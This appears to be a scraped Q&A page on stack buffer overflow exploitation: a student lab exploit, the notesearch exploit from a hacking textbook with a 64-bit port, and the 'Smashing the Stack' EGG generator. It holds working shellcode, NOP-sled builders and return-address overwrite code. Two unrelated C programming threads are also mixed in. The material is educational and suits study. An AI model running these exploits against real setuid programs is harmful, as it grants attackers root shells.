I am currently tackling on an assignment, where I need to upload exploit.c and target.c onto a ubuntu server, and successfully achieve a buffer overflow attack with exploit onto target. I was provided a shellcode. Now, target.c is not to be altered, just exploit.c. I had to use GDB on exploit.c to force an external breakpoint on foo() from target.c, to figure out the return addresses using info frame.
I was provided with the working shellcode, and minimal instructions.
I am pretty sure I was able to successfully pull the return addresses, but my issue is that I cannot figure out what code to put into exploit.c to have it successfully perform a buffer overflow attack. I was also instructed that one of the return addresses must be input into the exploit code for it to function properly.
I understand that the exploit is trying to call back to the return address, to then push itself into the buffer, so I can obtain access to the shell.
Here is exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
// replace this define environment to have the correct path of your own target code
#define TARGET "/*******************"
int main(void)
{
char *args[3];
char *env[2];
char *tmp = NULL;
// Creating an input buffer that can cause buffer overflow in strcpy function in the target.c executable code
int buffSize = 1000;
char buff[buffSize];
// Intialize buffer elements to 0x01
int i;
for (i=0; i < buffSize; i++) buff[i] = 0x01;
// write your code below to fill the 22 bytes shellcode into the buff variable, and
// at the correct location overwrite the return address correctly in order to achieve stack overflow
// Your own code starts here:
strcpy (buff[buffSize-22], shellcode);
// Your code ends here.
// prepare command line input to execute target code
args[0] = TARGET; // you must have already compiled and generated the target executable code first
args[1] = buff; // the first input parameter to the target code (artfully crafted buffer overflow string)
args[2] = NULL;
env[0] = "FOO=bar";
env[1] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
Here is the target.c code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int foo(char* arg)
{
char localBuf[240];
short len = 240;
float var1=2.4;
int *ptr = NULL;
strcpy(localBuf, arg);
printf("foo() finishes normally.\n");
return 0;
}
int kbhit(void)
{
struct timeval tv;
fd_set read_fd;
tv.tv_sec=0; tv.tv_usec=0;
FD_ZERO(&read_fd); FD_SET(0,&read_fd);
if(select(1, &read_fd, NULL, NULL, &tv) == -1)
return 0;
if(FD_ISSET(0,&read_fd))
return 1;
return 0;
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2\n");
exit(EXIT_FAILURE);
}
printf("Press any key to call foo function...\n");
while(!kbhit())
;
foo(argv[1]);
return 0;
}
I compiled both target and exploit. Then I ran GDB on exploit, and formed a breakpoint using "break target.c:10". Using Info Frame I was able to obtain the return addresses.
I used strcpy, because it is essentially the only line of code we were taught for this section involving overflow attacks, even though it clearly states in the document "Fill the shell executable code (in the string array shellcode[]) byte-by-
byte into the buff for your modified return address to execute, do not
use strcpy() because shellcode[] is not an ASCII string (and not
copying NULL byte, too)."
Exploit compiles fine, and it runs fine, but it does not give me access to a shell. I was instructed that I would know if it worked, if I was presented with two dollar signs ($$) instead of one ($).
I am a network engineer, and I am not entirely savvy with C, or attacking vulnerabilities in programs, any help would be appreciated. The entire lesson revolves around "stack overflow", but this assignment is called "buffer overflow attack".
Related
In this example exploit the layout is [NOP-Block][Shellcode][Return Adress]
But why cant I just overwrite the original return Address with the Adress to my Shellcode ?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
NOP-slide is a technique used when you can't precisely predict at which offset the execution will begin when the shell gets executed, you have to pad the shellcode with nops in the preamble to ensure the execution doesn't start in the 'middle' of your shellcode.
The CPU simply slides through the nops without impacting any registers except the instruction pointer.
In your code, I think you're triangulating the return address from main in notesearch using the address of a local variable i in your current process. Based on the compiler and platform the actual location from where the execution starts in the copied buffer (which is also argv[1]) could be off by few bytes. So you need to add a slide of few bytes to ensure things work.
NOP-block is used in the stack overflow exploitation because you don't may predict where the return address is placed.
When you exploit vulnerability, you can't affect on the execution flow directly - it means that you can't run your shellcode, but can place the piece of code in the memory of vulnerable application and expect it to run by the execution flow.
You can't predict the size of a function where vulnerable string is situated, so adding NOPs to the shellcode increases chanses to overwrite code at return address and succesfully execute your payload after the NOPs.
Disclaimer: I believe a lot of the code I pasted is unnecessary (e.g. Functions in the notesearch program, and alterations in the exploit), but I included it for purposes of clarity. I don't want to scare anyone off with the long post, and I figured I ought to offer an explanation beforehand.
I am currently reading the book Hacking: the Art of Exploitation by Jon Erickson. The book comes with a virtual machine which is designed to ensure a constant environment for the examples to work, but I've decided to try and get through the book on my own environment to challenge my understanding of the material.
I am currently reading about stack based buffer overflows, exploiting unchecked buffers to rewrite the return address of a function, sling down a NOP sled, and executing shellcode. The program we are exploiting is as follows:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char*); // Note printing function
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char*, char*); // Search for keyword function.
void fatal(char*); // Fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1)
fatal("in main() while opening file for reading");
char searchstring[100];
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string;
// rturns 0 at ed of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte = 0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1)
return 0;
read(fd, note_buffer, note_length);
note_buffer[note_length] = 0;
if(search_note(note_buffer, searchstring))
printf(note_buffer);
return 1;
}
// A function to find the next note for a given userID
// returns -1 if the end of the file is erached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
int note_uid = -1;
unsigned char byte;
int length;
while(note_uid != user_uid) {
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data.
return -1; // If 4 bytes aren't read, return end of file code.
if(read(fd, &byte, 1) != 1) // Read the newline separator.
return -1;
byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read a single byte.
return -1;
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0)
return 1;
for(i = 0; i < strlen(note); i++) {
if(note[i] = keyword[match])
match++;
else {
if(note[i] == keyword[0]) // if that byte matches first keyword byte,
match = 1;
else
match = 0;
}
if(match == keyword_length)
return 1;
}
return 0;
}
The vulnerability occurs on the line:
char searchstring[100];
Where the attacker is able to write past the end of this buffer and overwrite the return address. This program is accompanied by a note taker program, and it is both assumed that /var/notes exists, and that this program is SUID root in order to allow access to this directory.
The book provides the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
To take advantage of this overflow. Unfortunately this does not work on a 64 bit system because pointers are 8 bytes instead of 4, disallowing the casting of &i to an unsigned int so I changed this code to:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
uint64_t i, ret, offset=256;
char *command, *buffer;
command = (char *) malloc(400);
bzero(command, 400); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start the command buffer.
buffer = command + strlen(command); // Set the buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (uint64_t) &i - offset; // Set return address.
for(i=0; i < 376; i+=8) // Fill buffer with return address.
*((uint64_t *) buffer + i) = ret;
memset(buffer, 0x90, 200); // Build NOP sled.
memcpy(buffer+200, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
To account for this. (Note: the altered offset and initial value of i are products of my experimentation, and I know they are not correct.) I changed all the references to int to uint64_t types so that the casting of the pointer was possible without losing data. I also changed the increment value of i in the for loop to 8 so that the loaded return address would be properly spaced.
From here, I needed to determine a new value for the offset, so I ran the exploit in GDB. The address of i came out to be 0x7fffffffddf0. I stepped through the program until I was in the system call, and it seemed that the return address was pushed to the stack at address 0x7fffffffddc8, and was set to the value 0x00400660. This was pushed to the stack by register r12 at the beginning of the function, and appeared to be in the text segment of memory, so I went ahead and assumed it was the return address.
The stack pointer then was subtracted by 0x178, and I used the nexti instruction followed by x/100hw $rsp to see how the stack was changing. I needed to know how where the buffer was loaded into memory relative to the return address to determine how to align the loading of the return address, and how to determine the offset by which I guess the location of the NOP sled. I ended up getting to the end of the program without ever seeing much of a change in the memory between the return address and $rsp.
From here I figured that I could run the notesearch program in gdb to get a sense of the way the stack frame is constructed. I ran the program with the argument "AAAAAAAAAAAAAAAAAAAA" and stepped through the assembly line by line. It appeared that the buffer was loading 32 bytes above the value of $rsp, and with this information, I was able to figure out the length of the buffer. I knew that $rsp was 0x178 (376) bytes above of the return address, and I knew that the buffer began 32 bytes above $rsp. With this I figured that the exploit would need to write 344 bytes of code to overwrite the return address.
By subtracting the location of &i (0x7fffffffddf0) and the location of $rsp (0x7fffffffdc50), I was able to determine that the stack frame of the notesearch program began 416 bytes before the variable i, and that the buffer was placed 384 bytes before the variable i. I then built a 200 byte NOP sled, and put the shellcode right after this.
I then needed to determine the return address I would rewriting to hit the NOP sled and execute the shellcode. I figured that 128 bytes into a 200 byte NOP sled would be pretty central and provide decent padding for any errors. I calculated this to be at memory address 0x7fffffffdcf0, which would require an offset of 256 bytes from i to hit. I used this as the offset value, and then executed the program.
As you may have already gleaned, this approach did not work. I was greeted with:
[DEBUG] found a 7 byte note for user id 1000
-------[ end of note data ]-------
*** stack smashing detected ***: ./notesearch terminated
Aborted (core dumped)
I figured that this may have been due to misalignment of the return address when building the buffer, so I tried changing the initial value of i in the for loop to 4, then to 8, then to 12, but none of these approaches gave me a different result. I further tried changing the value of the offset to the theoretical extremities, but this did not work either.
My question is, what did I do wrong in my calculations? I suspect that the buffer was not written to the place where I think it was, because in the initial test of the program where I stepped into the system call rather than ran it independently, I did not see the buffer show up on the stack. It is also possible that I am missing something entirely about the way that a stack frame is constructed, or some other complexity in the compilation of the program.
So, what did I do wrong, and how can I alter my approach to something more generalized so that I can do right in the future?
I am trying to make a simple program that just writes your working directory to a file, and I cannot, for the life of me, figure out what I am doing wrong. No matter what I do, my buffer is storing null after my call to getcwd(). I suspect it may have to do with permissions, but allegedly, linux now did some wizardry to ensure that getcwd almost never has access problems (keyword, "almost"). Can anyone test it on their machines? Or is there an obvious bug I am missing?
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
printf("Error is with fopen if stops here\n");
FILE* out_file = fopen("dir_loc.sh","w+");
char* loc = malloc(sizeof(char)*10000);
size_t size = sizeof(loc);
printf("Error is with cwd if stops here\n");
loc = getcwd(loc,size);
printf("%s",loc);
fprintf(out_file,"cd %s",loc);
printf("Error is with fclose if stops here\n");
free(loc);
fclose(out_file);
return 0;
}
compiled with gcc main.c (the file is named "main.c")
EDIT: As was mentioned by different posters, sizeof(loc) was taking the size of a char pointer, and not the size of the amount of space allocated to that pointer. Changed it to malloc(sizeof(char)*1000) and it all works gravy.
Your problem is here:
size_t size = sizeof(loc);
You're getting the size of a char pointer, not the allocated memory for your char.
Change it to:
size_t size = sizeof(char) * 10000;
or even to
size_t size = 10000;
since sizeof(char) is guaranteed to be 1.
And since you're using size in your subsequent call to getcwd, you're obviously gonna have too little space to store most paths, so your result is unsurprising
If you don't want to go about changing multiple different numbers in the code every time you make a change, you can use #DEFINE text replacement to solve that.
Like this:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LOC_ARRAY_SIZE 10000 // Here you define the array size
int main(int argc, char *argv[])
{
printf("Error is with fopen if stops here\n");
FILE* out_file = fopen("dir_loc.sh","w+");
char* loc = malloc(sizeof(char)*LOC_ARRAY_SIZE); // sizeof(char) could be omitted
size_t size = sizeof(char)*LOC_ARRAY_SIZE;
printf("Error is with cwd if stops here\n");
loc = getcwd(loc,size);
printf("%s",loc);
fprintf(out_file,"cd %s",loc);
printf("Error is with fclose if stops here\n");
free(loc);
fclose(out_file);
return 0;
}
I have usb char device which I managed to bind to /dev/device0 with usb skeleton 2.2 driver (only with few comments to understand it).
Now I have to write user application, which will send and recieve commands as ascii chars.
I am able to send commands with write without problems, but I don't know how to read properly from device.
As I don't know how long the message will be, I tried something like this
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv)
{
char *c, *ret;
int fd,err;
ret = malloc(1);
char *dev = "/dev/device0";
fd = open(dev, O_RDWR);
printf("fd: %d\n", fd);
if (fd == -1) {
printf("fopen() failed");
exit(1);
}
command = "command1";
write(fd, command, strlen(command));
while (read(fd, ret,1)!=EOF)
{
fprintf(stderr,"%c\n",ret);
}
close(fd);
return 0;
}
but it doesn't work, it seems to deadlock somehow or get into state very similar to that. I was able to find, that the number of reads is random, usually 3-6 and then the program waits (maybe waiting for data from device, but I'm not sure with this), during last read function wait_event_interruptible() in driver's read() function returns -512 and meanwhile the callback function of penultimate read isn't called.
Why is this happening and how do I find out whether there are any data the device sent?
char *ret;
Memory is not allocated to your pointer ret and you are writing to that location which is UB.Hence you might see a crash. Allocate memory to your pointer.
Edits:
Else
If you just want to reach character by character have
char ret;
read():
read returns the number of characters it read. When it reaches the end
of the file, it won't be able to read any more (at all) and it'll
return 0, not EOF.
So make the below changes:
while (read(fd, ret,1)!= 0)
{
fprintf(stderr,"%c\n",ret);
}
I'm reading "Smashing The Stack For Fun And Profit", and reached the first example of overflow using an environment variable:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Now we can try to guess what the buffer and offset should be...
Now, I understand the overall theory of setting an environment variable of the form "NAME=VALUE",
and as we can see in the code above it is EGG=OUR_SHELL_CODE.
But I'm not sure of where/when does the overflowing occurs... does main's return address is being overwritten? wish addr? what's with the offset? What address are we trying to reach?
Why are we looking for the address of the stack pointer? I mean using malloc() will allocate memory on the heap, so why do we need the address of the end of the stack (using get_sp())?
In addition, overflowing a buffer in the heap won't overwrite the return address..
Why are we writing "system("/bin/bash");"? (we already have bin/sh in the shellcode)
Is it the way to somehow load/execute the environment variable?
Please fill in all the gaps for me (as thorough as possible) on the steps of this exploit.
Thank you very much! :-)
This is a helper program that will create the exploit. This isn't the vulnerable program, that one is aptly named vulnerable.
This program builds an EGG environment variable using heap memory which contains an exploit created based on the arguments specified. It assumes that the stack pointer of the vulnerable program will be somewhat similar to the current program's. The offset is used to cancel any differences. The exploit will have size bsize and it will contain the shell code itself, followed by copies of the guessed address for the start of the shellcode. This trailing portion will hopefully overwrite the return address in the vulnerable program and thus transfer control to the payload.
After the EGG has been created, the program spawns a shell for you so that you can start the vulnerable program. You can see in the original article that the vulnerable program is launched by ./vulnerable $EGG.
This exploit generator isn't terribly good code, but that's a different matter.